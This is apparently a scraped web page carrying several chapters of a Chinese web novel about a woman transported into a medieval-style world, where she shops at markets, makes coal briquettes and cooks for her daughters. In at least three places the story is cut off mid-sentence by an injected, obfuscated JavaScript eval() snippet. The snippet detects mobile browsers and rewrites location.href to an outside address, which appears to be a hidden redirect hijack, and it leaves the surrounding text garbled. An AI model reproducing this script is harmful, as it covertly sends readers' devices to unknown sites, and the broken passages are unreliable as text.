平时若有顾客愿意以银币支付,既省去了清点铜币、折算的麻烦,也规避了铜价波动的风险,商家会很乐意给折扣。 定下店面需要的瓦片,尤兰达的钱包轻了,脚步重了。 她摸摸篮子里的丝绸裙子,调转脚步去海螺巷。 那里有一家公益性当铺。 找到挂着天平与十字架木牌的店铺,尤兰达推门进去。 “午安,修士先生,我要抵押一条丝绸裙子。” …… 踏出当铺大门,尤兰达掂量一下羊皮包。 可惜了原身花30银币订做的晚礼裙,只抵押来200铜币,不如一把镰刀值钱。 捂着刚到手的铜币,尤兰达直接奔向海螺巷的小广场。 小广场开设了露天市集,附近居民大多喜欢去那里采买食材杂货,类似于社区菜市场的功能。 “新出炉的黑麦面包3铜币一个,软软的白面包10铜币一个,老爷,买一个吧?” “甜甜的覆盆子酱、树莓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200982|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酱,2铜分一勺,夫人尝尝吗?” “嫩玉米90铜币两袋,新收获的嫩玉米便宜卖~” 市集不大,卖的东西五花八门,山珍海味、野兽皮毛、蔬菜浆果、布匹鞋帽……充满朴实、粗犷的时代感。 尤兰达路过围满妇人的摊子,钻进去瞧了一眼,原来是“蚝郎”挑来满满两大桶生蚝,现撬现卖。 “生蚝10铜币20只,夫人要买一点吗? 后天星期五斋戒日,当天买生蚝10铜币可就只能买10只呢。” 有夫人还价:“海边多得是生蚝,你不过运进城里而已,10铜币25只比较合适。” 同行的夫人配合说:“是啊,太贵了,不如去买猪血,做猪血汤也不错,5铜分能买一大桶呢,斋戒日吃上一天足够了。” 尤兰达听了一耳朵,既想要生蚝又惦记猪血。 辣炒猪血、猪血馍馍、猪血豆腐汤……花样多着呢。 生蚝更不必说,直接烹煮或者熬出蚝油清炒任何时蔬,都很美味。 尤兰达盘算一遍家里贫瘠的调味料,又摸摸自己干瘪的钱袋,强忍心动转身。 走出去没几步,拖着箩筐卖山货的小贩热情拦路,吆喝声震天响。 “夫人们瞧瞧呀,今早新采的野菌菇,鲜得滴露水,一捧只卖22铜币!” 尤兰达没来得及说什么,隔壁摊子上挑拣蔬果的几位妇人惊讶转头,纷纷说着“太贵了”之类的话。 “嘿,汉斯,”果酱摊前裹着头巾的胖妇人喊了一嗓子,“你前日不还卖15铜币吗?怎么转眼涨了这么多。” 名叫汉斯的小贩脸颊红扑扑,对上众位夫人不满的抱怨,搓着手解释: “海伦夫人不知道吧,老林克摔断腿啦,就是那个最会认蘑菇的老头子。 这几个月他上不了山,我们哪敢随便收不认识的人的蘑菇?这些都是我高价从草药师手里收来的。” 一位瘦高妇人从旁边的蔬果摊走来,停在箩筐前,拨弄两下,挑剔说: “种类也少了,你上个月说过,很快能吃上鹿肝菌呢。” 汉斯叹气,“是啊,如果老林克能上山,鹿肝菌一定少不了。 别看蘑菇长满山,可谁敢乱碰?我可不想哪天卖出去的蘑菇毒倒了人。” 尤兰达深以为然的点头,采蘑菇的确是技术活,非熟悉山林的老手不可胜任。 “但这些鸡枞菌、面包菇、牛肝菌特征明显,又很常见,竟然也要高价收购?”她俯身,从筐里拣出几朵形态清晰的蘑菇。 汉斯愣了愣,打量她一眼才答:“夫人,单独看不难,可它们长在树叶堆里,旁边常混着毒菌子。 比如牛肝菌,和‘魔鬼牛肝菌’同地出现,我们哪敢拿性命赌运气啊,只能依靠有经验的农户和草药师。” 尤兰达搜索一遍记忆,原身对此一无所知,开口问道:“难道没有农户种蘑菇吗?” 话音落下,几位妇人相继发出善意的低笑。 海伦夫人嗓门洪亮:“好夫人哟,蘑菇是山神的礼物,哪能说种就种? 它们只认腐叶、树根和山雾,换个地方根本种不活。” 她目光掠过尤兰达的衣着,心里了然,语气温和,“瞧您的打扮,想必夫人没去过林子深处吧?” “夫人啊,蘑菇如果能像芥菜一样从菜畦里长出来,汉斯哪还用得着冒险上山。” “我丈夫试过,他把牛肝菌的碎屑撒木屑堆里,天天浇水,结果生了好多虫子。” “山上的东西有山上的脾气,”汉斯的语气充满敬畏:“趁着山神不注意偷偷摘走几个,我们知足啦。” 他捧起鸡枞菌:“所以啊夫人,22铜币真的不贵。” 妇人们没有花22铜币的意思,笑着搭了几句话,扭身挑选蔬果。有人耐不住馋,挤上来和汉斯软磨硬泡。 尤兰达面不改色地收回手,为讨价还价的夫人让出位置。 显然,童话世界的人族尚未掌握种植蘑菇的窍门。 别人种不出,她能啊。 尤兰达若有所思地挎上篮子,深入市集。 7. 第 7 章 海螺巷的市集小到连想“货比三家”,都凑不齐三家售卖同种商品的摊子。 尤兰达初来乍到,不敢贸然砍价。她便在摊子前逗留,装模作样挑拣一番,实则竖起耳朵,等着经验丰富的夫人与摊主你来我往的议价。 待双方成交,她若无其事地接上一句:“哦,听起来不错,也给我来一些”。 靠着这份厚脸皮与耐心,她用10铜币35颗的价格买下70颗番茄,又用1铜币带走了4颗饱满的大蒜。 食材好办,买牙刷时就再没有旁人来帮她打样了。 尤兰达对着摊子上那一排排用猪鬃扎成、手柄粗糙的木制牙刷犹豫片刻,终究还是花了5个铜币,买下一把全新牙刷。 虽说她占了原身的身体,可若要接着用原身用过的牙刷……恕她实在办不到。 买完这几样,海螺巷市集几乎走到头,只剩下几个稍显脏乱的摊子。 好巧不巧,尤兰达想要的东西,差不多全集中在这一片。 她先去了最近的草料摊,一番询价后,果断以4铜币的价格,买下20斤的干草屑和20斤坚果壳。 草料摊老板装填草料的工夫,她往前走了几米,停在一处卖煤炭的摊子前。 煤炭被大家视为不洁燃料,多数是工坊和贫困家庭使用,因此价格低廉。 自从得知煤炭比木柴便宜一大截,尤兰达满脑子蜂窝煤。 可惜眼下没人开发出煤球的用法,市面上买不到现成的成品,只能自己动手。 手搓蜂窝煤,好用又省钱,除了必备的煤炭、水,少不了草屑果壳和黏土。 “嘿,夫人,要多少?” 她一走近,满脸煤粉的煤炭商停下手里的铲子,露出一口白牙。 尤兰达掩住口鼻抵挡硫磺味,“买10铜币的,我家炉膛小,请多给碎一点的小块。” 小黑人唉了一声,挥动铲子将车上的碎煤炭铲进黢黑木桶里,每铲一下都用力压实,然后倒上煤粉填满空隙,快要溢出木桶才一股脑倒进麻布袋子里。 “麻布袋1铜币,一共11铜币,拿稳了。夫人下次买煤炭记得带上麻布袋,我这儿的煤炭耐烧着呢。” 尤兰达拎起麻袋感受一会,发现根本拎不动,这一大袋少说90斤以上。 11铜币花的真值。 “夫人,需要帮您送回家里吗?两条街内1.5铜币。” 尤兰达正苦恼怎么拖回去,蹲守一旁的少年凑上来,他肩头和双手蹭了不少黑灰,可见专门守着煤炭摊子赚运费呢。 对比煤炭价格,1.5铜币着实不便宜。 “放心吧夫人,安德鲁很可靠,我的客人们经常拜托他帮忙。”小黑人煤炭商为少年美言。 尤兰达算了算手里的钱,少花这1铜币也不会变富有,而且她真扛不动这么多东西。 她数出11枚铜币付给煤炭商,又拿出1枚铜币。 “矮人巷北1店,走出海螺巷右拐就能看见,1铜币可以吗?” 矮人巷可不远,1铜币也不少了。安德鲁高高兴兴收了铜币,一把扛起麻布袋。 “好的夫人,您买的草屑要一起带走吗?相信我,扛起它们并不难。”他伸出手指了指隔壁的草料摊。 尤兰达以为他只送煤炭呢,略显惊喜,“店门旁边有道院门,从门下的缝隙塞进去就好,那条缝足够宽敞了。” 少年一手扛煤炭,一手提起40斤的草屑果壳,游鱼一般滑进人群,不见踪影。 搞定煤炭,还剩下充当粘合剂的黏土,这玩意买不到,要么去溪边挖,要么去田埂挖。 尤兰达想了想泥炭的需求量,询问过价格后,果断选择不要钱的黏土。 她琢磨着哪天出城挖土,走回矮人巷,听见哗哗的溪流声,倏地想起家门口就有一条小溪,何必舍近求远。 尤兰达莞尔一笑,换一边胳膊提篮子,踩着第九时祷(15:00)的钟声回家。 几乎是刚走到巷子口,大约翰领着木柴店杂役来送货,他身后跟了个差不多瘦弱的小男孩,应当就是小约翰了。 只一个照面,尤兰达又花出去34枚铜币,其中14枚付给小约翰,请他每天上门清粪。 送走他们,尤兰达回到卧室,捏住羊皮包往桌上一抖,百十个铜币哗啦啦滚了两圈,躺作一堆。 捡出独苗银币藏进衣柜深处,剩下的铜币铜分她翻来覆去数了几遍,直叹气。 好穷,好穷! 又扒拉一遍剩下的铜币,尤兰达忍痛放弃买辣椒的打算。 草药铺的鲜辣椒一斤卖50铜币,够买一捆橡木柴,根本狠不下心花这笔钱。 既然买不起,那就自己种。 尤兰达回到厨房找出干辣椒搓出籽,加水放进陶碗浸泡。 都种辣椒了,泡点鹰嘴豆、豌豆、蚕豆顺带手的事,留待发芽炒成菜,怎么都比黑麦面包好吃。 处理完有的没的杂事,外面天色渐暗,前后左右的邻居家飘出缕缕炊烟,炖菜与烤面包的朴素气味四处弥漫。 尤兰达这才想起院门口的煤炭和草屑,拖回仓库暂放。 叮呤咣啷忙碌一通,一连串的动静惊醒屋子里的补觉女孩们,两人揉着眼,啪嗒啪嗒跑出来围住她。 “妈妈,我们能吃晚饭了吗?” “我要吃无米蛋炒饭。” 尤兰达深吸气,疲惫微笑:“当然,不过你们得帮忙,我一个人可忙不过来。” 女孩们一听要自己动手,丧眉耷眼。 西芙拉垮着脸:“妈妈,我们家急需一个女仆。” 菲奥娜有气无力:“还有一个厨娘。” 尤兰达充耳不闻,只管分配备菜任务,女孩们反对无效,乖乖去井边打水。 有前面几餐的经验,尤兰达对三人的饭量把握得更精准了。 这次,她只切了一小块火腿和肉肠,打了两颗鸡蛋洒盐粒备用。 做好准备工作,探头从后门望向院中,两个女孩咋咋呼呼瞎忙活,土豆胡萝卜表层微湿。 尤兰达鼓励道:“做的不错,看来晨祷(凌晨2点)前有望能吃上你们洗出来的土豆了。” 两人一时半会忙不出名堂,尤兰达不想干等,扭头剥了四根玉米,做点玉米烙当饭后零嘴。 新上市的嫩玉米看着就糯,菜刀刮下饱满颗粒时,嫩浆迸溅,清香沾了一手。 笃笃笃,很快,陶盘里堆出灿黄的小山。 泥炉升起火苗,尤兰达先将玉米粒焯水断生,捞出后加小麦粉、橄榄油、少量麦芽糖和鸡蛋,拌成黏稠的浆糊为止。 陶锅里的水倒净,锅底抹一圈黄油,玉米糊入锅的刹那,“滋啦”一声轻响,她迅速用勺背将糊浆推圆定型,边缘渐渐凝出金黄的轮廓。 待底面烙成均匀诱人的深黄色,尤兰达手腕轻巧一抖,玉米烙翻了个身,落回锅底发出“啪”声,朝上的一面已然结出酥脆的壳。 玉米烙一块接一块出锅,叠在陶盘里,香甜味一层层漫开。 趁着晾凉的功夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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菲奥娜伸着脑袋连声追问:“妈妈你到底对它们施了什么魔法?怎么就、就变成这样了?” 厨子的基本功,落在她们眼里惊天动地,一句句发自肺腑的惊叹脱口而出,情绪价值拉满。 尤兰达飘飘然,这一飘,她决定多添一道菜汤。 从菜园掐来一把嫩生生的豌豆尖,洗净后滚水一焯,磕入蛋花,撒点盐粒,清清亮亮的豌豆尖鸡蛋汤端上了餐桌。 黄黄绿绿的菜汤看着朴实素净,入口说不出的清爽鲜美,正解了炒饭的腻。 一口饭一口汤,啊呜一口吞下玉米烙,两个小老外腮帮子鼓鼓,摇头晃脑。 “妈妈(嚼嚼嚼)……它真的是玉米吗?”西芙拉含混不清地追问,三观在香气中碎了一地,“那我们以前(嚼嚼嚼)……吃的是什么?” 如果不是手里的玉米烙还清晰保留着完整的颗粒形状,她宁愿相信此“玉米”和彼“玉米”是两种完全不同的物种。 “妈妈,明天我不要吃三明治了,我吃玉米饼。”菲欧娜当场表演见异思迁,忙不迭点菜。 尤兰达捏起一块玉米烙送进嘴里。 还行啊,口感酥脆带糯,正常的玉米味嘛。 转念一想,自从玉米随商队进入黑森王国,因其高产,迅速成为平民餐桌上的又一廉价主食。 当地人照葫芦画瓢,怎么处理小麦燕麦,就怎么处理玉米。 磨粉、煮粥、烤成粗粝的面包,烹饪手法单调乏味。渐渐,玉米虽被大家广泛接受,却也沦落为粗劣食物的代表。 对比她们以前吃过的干噎玉米硬粥,金黄酥脆、香甜软糯的玉米烙简直降维打击、味觉碾压。 再看两个如同发现新大陆的小土老冒,尤兰达目光怜悯。 哪天有空给她们做出爆米花,不得把她夸成上帝降临? 8. 第 8 章 尤兰达蹲在橱柜前挑拣,瞧瞧哪口锅适合做爆米花,身后冷不丁爆发一声惊呼。 “上帝啊!我真不敢相信我看到了什么。 妈妈,求你告诉我,我们家已经喝不起啤酒了吗?” 菲奥娜一口一个玉米烙,吃得心满意足。 忽然,她耸动鼻子,嗅出旁边铜壶里飘来的甜香。 菲奥娜以为妈妈藏了什么好东西,欣喜上前查看。 这一查看,可吓坏了她,妈妈竟然煮了一壶水! 西芙拉闻言大惊失色,噔噔噔跑去泥炉边,伸着脑袋去瞧铜壶内的景象。 下一秒,她像按了暂停键,捏着玉米烙一动不动。 “妈妈,我不要喝水,有怪怪的味道。 我也不想肚子疼去看医生,放血可疼了。 我们喝啤酒吧?或者葡萄酒呢?我记得我们带来了。” 女孩们齐齐露出崩溃神情,跺脚尖叫。尤其十分在意形象的西芙拉,直接忘记咀嚼,任由嘴里的玉米残渣滑稽地掉下。 尤兰达被两人一惊一乍的反应吓一跳,随后一拍脑门。 “放心喝,这是干净的井水。 你们看,我用柴火高温煮沸了,又加了玉米,喝起来甜丝丝。 我保证不会肚子疼。” 小孩们没有受过九年义务教育毒打,让她们理解什么叫“高温杀菌”、“改善水质”太难,索性用通俗一点的方式讲解。 “想想看,我们常喝的淡啤酒,不也是麦芽淋了热水后酿出来的吗?” 拿啤酒做例,西芙拉和菲奥娜听明白了,顿时冷静。 她们将信将疑地倒出一杯玉米水,低头一看,热气蒸腾着香气一起扑面而来,淡黄色泽澄澈清亮。 确实和淡啤酒有几分相似。 两人对视一眼,打算晾凉后浅尝一口。 毕竟它闻着甜甜的。 这时,敲门声“咚咚咚”响起,不轻不重。 母女三人才搬来,连收拾带打扫,脚不沾地忙了一天,顾不上和左邻右舍走动,想不出谁会找上门。 “晚上好,费尔南多夫人。” 尤兰达提上油灯来到门口,照亮门外腼腆微笑的小约翰,他拘谨地搓着衣角,努力堆起笑容。 “晚上好,小约翰。今晚不需要清洗粪桶,帮我找个地方丢掉它就好,如果可以,请帮我擦洗一下厕所,好吗?”尤兰达拉开门,领着他走进院子。 整座院子,除了店面三层留着修缮后统一大扫除,只后院的旱厕没有动过。 做为酒馆的公共厕所,打扫多少遍她都膈应,别说扔粪桶,连隔间也恨不得拆了重建。 可惜条件不允许。 小约翰愣了愣,房主夫人不仅回应了他的问好,还用了“请”“好吗”。 “当然,我很愿意帮忙。”他挺起胸膛,声音嘹亮,脚步轻飘地跟进院子后,整个人又缩了回去,小声说:“抱、抱歉……我是不是来得不是时候?” 清粪过程避免不了熏天臭气逸散,未免惹客户不快,小约翰通常会在天色擦黑、各家晚饭差不多结束时上门工作。 一进院子,瞧见起居室正在晚餐的场景,两个美丽女孩吃得津津有味,他懊恼极了。 “不碍事,”尤兰达摆摆手,“你只管做你的活儿。” 小约翰松了口气,缩手缩脚地穿过院子,往角落的木隔间走去。 走着走着,他的脚步不自觉慢下来,空气里飘着的食物香气太诱人了。 那是一种混合了焦糖般甜香的玉米味,还有某种说不出的、带着油脂的香气,丝丝缕缕钻进鼻腔。 “咕咕——” 小约翰肚子不争气的叫了几声。 自从接下矮人巷的清粪工作,街头巷尾来回无数趟,谁家炖了肉、谁家烤了面包、谁家夫人擅烹饪,逃不过小约翰的眼睛和鼻子。 他发誓,他的鼻子从未捕捉过这般香气,香到让人走不动道。 小约翰忽然想起,房主夫人似乎正为开饭馆做准备。 不知从哪请来的厨娘,这手厨艺可比附近几家酒馆饭馆高出一大截,以后生意肯定不会差。 真希望他有机会进店尝一尝滋味。 小约翰深吸一口食物香气,压下不合时宜的食欲,扎进厕所卖力清洗。 尤兰达正好吃完饭,没打扰小约翰,回厨房添柴烧洗澡水。 当地人通常一年半载洗一次澡,讲究点的富豪贵族一个月洗一次,再配合每天局部擦洗、勤换贴身衣物,组成了绝大多数人的清洁习惯。 原身也不例外,每天只睡前进行局部清洗,严格意义上的沐浴清洁发生在九个月前。 大半年没洗澡,多埋汰啊。 尤兰达忍不了一点,困到眼皮子打架也坚持先洗澡,非从头到脚搓得干干净净不可。 等热水烧开的功夫,她和女儿们知会一声,提上工具去门前小溪挖泥。 顺着石阶向下,溪边意外的热闹。 附近店铺的杂役们忙着打水、洗衣、清洗工具,水声与交谈笑闹声融成一片。 尤兰达去到偏下游的位置,拨开上层泥沙,一铲一铲挖沉底的淤泥、黏土。 两筐黏土拎回家倒进桶里,小约翰麻利地完成了清扫工作,主动帮忙换上了她准备的新粪桶。 尤兰达说了声谢谢,那孩子不知怎的,脸一下子红透。 “夫、夫人,您要检查吗?”他结结巴巴说。 一打眼过去就能验收成果,尤兰达没必要特意检查,她爽快地摸出五枚铜分递过去:“辛苦了。” 小约翰完全没料到有幸苦费,琥珀色双瞳晶亮湿润,浑身冒火一样滚烫。 皇城大街小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一想到眼前的不便只是小麻烦,想到未来还要烦恼如何度过生理期,尤兰达头大如斗。 “没有系统,好歹给个有楼房有黑土地的灵泉空间…… 嗯?” 她疲惫瘫倒,抱怨话语未说完,眼前景象骤然变化—— 灯光明亮晃眼,不锈钢流理台宽敞整洁,沿墙角放置的刨肉机泛出冷光,洗菜区的水龙头滴答滴答。 死前掏到一半的时髦背包要掉不掉地挂在椅背上,包装完好的软糖静静躺在包底…… 尤兰达腾一下弹跳而起,揉揉眼,掐住自己胳膊。 “嘶!” 费心费力装修了几个月,设备食材齐全、崭新舒适的私厨餐厅,跟着她一起穿来了。 她有空间了? 9. 第 9 章 尤兰达突然就不困了,身影忽闪忽闪,频繁进出空间和卧室,反复确认。 待她冷静,摸着冰凉的不锈钢台面,目光掠过一盆盆油盐酱醋味精和香料,差点乐出声。 空间来的太及时了,一切都保持在她穿越前一刻的状态。 备菜台上,葱姜蒜段等处理好的食材占据全部桌面; 打开八门的商用冷藏柜,鸡鸭鱼肉、海鲜河鲜分门别类,满满当当; 储藏间的货架上,米面粮油一袋压着一袋,找不到一点缝隙; 水吧台后,各色酒水饮料整齐排列,时令水果洗净,随时可以榨汁。 她走到消防后门,这里也保持着杂乱状态。 门口堆着菜贩清早送来的五个泡沫箱,里面塞满了新鲜蔬菜瓜果。门边收纳箱才从家里寄来,里面装了一堆后两期拍摄所需的食材、工具。 穿过走廊来到前厅,桌椅板凳一尘不染,为粉丝们准备的感恩礼盒整齐码放;亲朋和粉丝送的开业贺礼堆积一旁,等待拆箱。 收银台后,地上横七竖八躺了许多快递,金主寄来的厨房小家电排排放,等她写完脚本植入视频。 旁边的杂物间,抽纸卷纸塞满柜,为顾客准备的护手霜、卫生巾尚未拆封。 推门走进洗手间,洗手池冷热水流转正常;伸脚轻轻一扫,智能马桶感应启动,轰轰隆隆卷起旋涡冲刷。 将手探向出风口,烘手器嗡嗡嗡,送出强劲的暖风。 尤兰达乐得见牙不见眼。 前一秒发愁生理期和上厕所的问题,后一秒送来了卫生巾和抽水马桶,连吹风机也有烘手器代替。 可惜柜子里的卫生巾加上包里随身备用的安睡裤,只够她用两、三个月,卫生纸倒是能撑上一年半载。 不管怎么说,有总比没有的好。 想到什么,她钻去员工休息区,取来平板和电脑尝试联网。 毫无反应。 没网就没网,有水有电,有吃有喝,有整间私厨餐厅当她的金手指,知足了。 环顾自己亲手打下的江山,尤兰达说不出的满足。 余光瞥见桌上外卖刚送到的手打柠檬茶,杯子外壁凝结细密水珠,心思一动。 空间……还有保鲜功能? 这么想着,她直接上手测试。 先拿半包抽纸和一杯热茶回卧室,又从卧室的烛台上拔下正燃烧的半截蜡烛,指甲掐出痕迹,闪身回到空间。 等了足有十分钟,蜡烛的长度一丝未减,而桌面上,悄然“刷新”出一包全新的、与她带出去时一模一样的抽纸。 尤兰达又惊又喜,打开消毒餐柜,果然,架子上也多出新的玻璃杯。 她取回带出去的抽纸和茶杯,仔细对比,分毫不差。 空间不仅可以维持带入事物状态,还可以重置刷新物资? 这一回,尤兰达没忍住,短促地笑出声。 美得很,美得很! 快步去卫生间借烘手器烘干头发,望见镜中笑意盈盈的陌生脸庞,尤兰达心底格外踏实。 这时,她才真正抽出空,端详原身的外貌。 和两个女儿随了亲爹的金发蓝眼不同,尤兰达生着一头浓密卷曲的乌黑长发,眼眸是青翠欲滴的绿,像雨后的森林、深潭,荡漾着细碎波光。 粗麻布搓洗过的脸颊透出健康的红晕,五官大气明艳,丰润嘴唇微张,有几分安吉丽娜·朱莉的风采。 母女三人风格迥异,却都是不折不扣的美人,尤兰达看直了眼,好半天挪不开视线。 再看原身身材,可见没有亏待过自己的嘴。身形高挑不说,白皙又丰腴,好好滋补调养,定能养出结实体格。 尤兰达别提多高兴了,这和中彩票有什么区别? 前世的她瘦瘦小小,低血糖、低血压、亚健康、气血亏虚……集于一身。不致命,纯折磨人。她就盼着自己哪天能气血充足、精力旺盛。 夜风习习吹进,床幔挡住晚间的凉意和蚊虫,温度不冷不热,搭一条薄被正好眠。 尤兰达嘴角噙着笑,意识飞快堕入黑暗,沉沉睡去。 当晨光透过纱幔斜斜切进卧室,没多久,屋外传来噔噔噔的动静。 下一秒,就听西芙拉和菲奥娜隔着厕所的门板互相较劲: “我先醒的!” “明明是我先进来的!” “谁让你昨晚多喝了一碗玉米水!” 尤兰达拥着薄被坐起身,瞪向眼前精致床幔,意识恍惚。 一觉到天亮,晨祷和赞祷的钟声一概没听见,更无从分辨时间。 她摸了摸咕咕叫的肚子,傻笑着进空间洗漱。收拾整齐后,又在空间转了一圈,美滋滋离开卧室。 西芙拉和菲奥娜听到木门开合的轻响,扭过头看去。 走进日光下的尤兰达容光焕发,白皙皮肤像珍珠母贝般,散发温润柔和光辉。深邃的眼角眉梢间,漾着藏不住的喜气,步伐都透着轻快的劲儿。 女孩们纳闷地对视一眼,想不通老母亲 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中途要小心看顾着两边的泥炉,捞起煮好的水波蛋,顺便给培根翻个面,然后继续搅拌。 蛋液与黄油完全交融,变得浓稠亮泽,此时加入两勺苹果醋,荷兰酱就算完成大半,剩下的交给时间。 就着培根留下的底油,白面包切厚片用余温烘软,铺上两片煎得边缘卷翘的焦香培根、一颗白胖水灵的水波蛋,最后,淋下一大勺嫩黄的浓醇荷兰酱。 班尼迪克蛋一盛进餐盘,提前守在灶台边的西芙拉和菲奥娜按耐不住伸出手。 两人顾不上回起居室的餐桌,围着料理桌,一手端盘,一手举叉。 叉子轻轻一戳,娇嫩蛋白裂开大口,嫩黄酱汁和蛋黄齐齐流出、交融。 “这……这是蛋黄?” 菲奥娜的惊叹只持续一瞬,便戳起颤颤巍巍的半块水波蛋塞进嘴里。 蛋白果然够嫩,仿佛能直接融化。蛋液裹住舌尖,烫得她斯哈斯哈也没舍得吐,混合荷兰酱的酸香,口感绵密顺滑。 菲奥娜不再迟疑,放下刀叉直接上手,面包片卷起培根、蘸着酱汁,一同送入口中。 嚼嚼嚼,菲奥娜哇出声。 蛋的柔滑、酱的酸香、培根的咸脆、面包的绵软,每一种口感都令她感到新奇。 上帝啊,她们以前吃的是屎吧? 可怜她们活到15、16岁才吃上这样的美味! 10. 第 10 章 “妈,我改主意了,明天我们吃班尼迪克蛋吧。” 她三两口吃完早午饭,意犹未尽地嗦了嗦手指。 尤兰达含糊“嗯”了一声作为回应,手上动作不停。 察觉老母亲的敷衍,菲奥娜干脆探过身子偷看。 不知什么时候,泥炉上的陶锅换了新的,正小火慢炖着的番茄汤汁,咕嘟咕嘟冒泡泡。 而她们被上帝吻过手的妈妈,一手洒水、一手转着圈玩面,玩出一堆珍珠大小的面球。 西芙拉已经半饱,可吃可不吃的状态,见妈妈忙活新花样,眼里瞬间亮起光。 “妈妈,这又是什么?会比班尼迪克蛋好吃吗?”她舔唇,锅里白乎乎的小东西和天上云团差不多。 尤兰达一回头,恰好对上两双亮晶晶、写满“想吃”的眼睛,顿了顿动作,补加一大勺小麦粉。 “番茄风味珍珠浓汤。”她说。 国内叫它面疙瘩汤,出了国得换一个符合当地风格的新名字,尤兰达眼睛不眨的瞎编。 麦麸含量为零的精制面粉价格不菲,尼尔森家存货不多,她全带来了。 尤兰达原打算省着点用,馋得没办法的时候做点面条饺子以慰思乡的胃腑。 如今有了可以刷新物资的空间,她顾虑全无,想怎么吃怎么吃。 不止面疙瘩,包子、馒头、面条、糕点……都有机会加入菜单,顿顿不重样。 还是煮水波蛋的那锅水,倒进咕嘟冒泡的番茄汤汁里很快沸腾,恰好她的面疙瘩也准备完毕。 汤底翻涌,尤兰达抓起一把面疙瘩,手腕轻抖,均匀撒入锅中。 做荷兰酱剩下的蛋清顺着锅边缓缓滑入,凝成柔软的蛋花后,木勺转着圈轻推,打散融进汤底。 有两个眼巴巴的观众盯着,尤兰达没敢多放空间里的“秘密调料”,简单撒了一把新鲜的欧芹叶,一勺咸肉酱提鲜。 热气腾腾、色泽鲜亮的番茄咸肉面疙瘩汤,出锅了。 菲奥娜猛吸一口气,张嘴想说什么,未出声,口水抢先冲出嘴角。 意外的失态让菲奥娜羞窘不已,耳根子冒烟。 她向上帝发誓,绝对是番茄风味珍珠浓汤的问题,她还从来没有被哪一种食物诱的当场流口水过。 见姐姐抢占先机,端着碗挤上去,菲奥娜一抹嘴角,捧起陶碗乖乖排队。 尤兰达失笑,嘱咐一句“小心烫”,便将一锅面疙瘩汤分成三份。 女孩们馋得两眼冒光,烫也不肯放手,左右手来回倒腾碗,小口小口吹气。 等待面疙瘩汤晾凉的间隙,尤兰达顺手收拾起来: 锅碗堆进洗碗盆,铲出炉膛里的草木灰倒进陶罐,放去井边石台上留着洗碗用。 泡了一晚的辣椒籽拌上泥土沿墙种下,抄起井边木桶提去菜园浇水,顺道给大G加了一盆燕麦。 忙活半天,估摸着面疙瘩汤差不多可以入口了,尤兰达拍着裙摆进了屋。 一进门,却见两个女孩几乎埋进碗里,银勺一圈圈刮过粗陶碗内壁,不太美妙的“格拉格拉”声此起彼伏。 尤兰达略显诧异地顿住脚步。 面疙瘩汤这样的中式家常菜,她以为两个小老外会吃不来,特意给她们做了班尼迪克蛋。 转念一想,原身记忆里所谓的富人阶级才能享用的昂贵食材,说实话,不过如此。比不上她刻板印象里的白人饭。 不怪两人没吃过饭一样,差点上舌头舔碗了,连三明治都能夸出花的美食荒漠,又怎么能抵抗大中华美食的降维打击? 尤兰达毫不怀疑,如果她能复刻出仰望星空派,两个小孩恐怕也会争着抢着吃下去。 捧起温热的面疙瘩汤,沿着碗边吸溜汤汁,尤兰达发出满足喟叹。 再加一勺辣油,那滋味,不敢想有多香。 吃饱喝足,时间尚早,街边市集尚未开摊,踩点也踩不出门道。 尤兰达盘算一遍手里的活,找来旧木桶,按住想飞奔出去玩耍的女儿们,一人分一件工具,围着木桶捣煤炭。 不一会工夫,后院锤声闷响。 “这太粗鄙了,我们竟然在用煤炭。”西芙拉尖叫着挥开飞扬的煤灰,一脸嫌恶。 “妈妈,可怜可怜我们吧,我的胳膊又酸又痛呢。而且煤炭……确实有损体面。” 菲奥娜有一下没一下地捣,像极了上班摸鱼 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全程抱怨不停的菲奥娜捶了捶酸疼的胳膊,迟钝追问:“妈妈,做这些有什么用?” 尤兰达言简意赅:“省钱。” 为了省钱,所以想出了不费柴的炒菜,所以有了草屑混合煤炭的蜂窝煤,所以不怕死的摘了旁人眼中“有毒”、“难吃”、“观赏”的植物填肚子。 解释太多反而容易引起怀疑,不如用省钱当幌子,多合理啊。 当然,不全是幌子,她们真缺钱。 至于别人信不信,尤兰达胸有成竹。 哪个时代的底层百姓都如此,为省下一点钱,什么法子都愿意琢磨,并不罕见。 女孩们爱美,搓完蜂窝煤立刻飞奔回房间梳妆打扮,为午后的皇城市集行程做准备。 尤兰达留下负责收尾工作,洗干净木盆木桶摞一起推进杂物棚,梯子送进柴棚。 等她们撑着伞、拎着包,花枝招展地走出来,尤兰达刚好忙完,摘下围裙,挎上篮子。 母女三人手挽手,一起向大市集出发。 11. 第 11 章 踏上贝壳街的石板路,日头已升得老高。 早午餐时间一过,沿街饭馆里客人稀稀拉拉,丰收节后闲下来的农夫们,不约而同挤满各家小酒馆,划拳吹牛,高歌赞颂收获女神。 沿街漫步,塔博鼓“咚咚咚”,节奏鲜明,竖琴演奏欢欣乐曲,年轻人在喷泉旁围成圈,拍手踏脚蹦跶着,简单旋律让整条街的心跳同步。 驻足欣赏一会中世纪版本的广场舞,尤兰达牵起两个蠢蠢欲动的女孩们离开。 走出繁华的贝壳街,她们来到了更繁荣、恢弘的皇城主街——凤凰大道。 笔直宽阔的石板道路连通城门与皇宫,贯穿整座皇城。 据说往前走十条街,就进入了贵族、富商们的聚集地。还据说,那里连空气都是胡椒味。 